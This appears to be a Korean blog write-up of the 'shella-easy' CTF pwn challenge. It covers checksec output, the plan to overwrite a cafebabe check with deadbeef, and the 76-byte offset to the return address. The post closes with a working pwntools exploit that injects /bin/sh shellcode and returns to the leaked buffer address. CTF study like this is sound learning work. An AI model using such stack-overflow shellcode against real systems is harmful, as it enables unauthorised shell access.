- TEXT -
Difficulty: easy-ish
Want to be a drive-thru attendant?
Well, no one does... But! the best employee receives their very own flag!
whatdya say?
HINT - Ever heard of DEP? I hear it goes well with a side of Shellcode
- 보호기법 -
DEP = NX bit
Win Linux
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
- Think -
1. buf 의 주소를 알려준다
2. 보호기법 없음
3. deadbeef 조건 있음
- payload -
1. buf에 shellcode 삽입
2. cafebabe로 초기화 된 변수를 deadbeef로 바꿔주기
3. return address 를 leak 해주는 buf 주소를 넣어주기
buf 입력주소부터 ret의 거리를 재보자
- main 첫 부분 -
gdb-peda$ i r esp
esp 0xffffd36c 0xffffd36c
- buf 주소 -
0xffffd370
gdb-peda$ p/d 0xffffd3bc - 0xffffd370
$5 = 76
즉, 76개 이상부터 return이 overwirte 됨
- Attack -
from pwn import *
r = process("./shella-easy")
r.recvuntil("Yeah I'll have a ")
bufAddr = int(r.recvuntil(" "), 16)
msg = ""
msg += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
msg += "\x90"*39
msg += "\xef\xbe\xad\xde"
msg += "\x90" * ( 76 - len(msg))
msg += p32(bufAddr)
r.sendline(msg)
r.interactive()
'[ ★ ]Study > CTF' 카테고리의 다른 글
Pwntools 설치(install) (0) | 2019.04.03 |
---|---|
X-MAS 2018 Greetings from Santa (0) | 2019.01.01 |
TUCTF2018 - ehh (0) | 2018.12.15 |
P.W.N CTF ImportantService(pwn) (0) | 2018.12.01 |
RITSEC2018 ezpwn (0) | 2018.11.19 |
댓글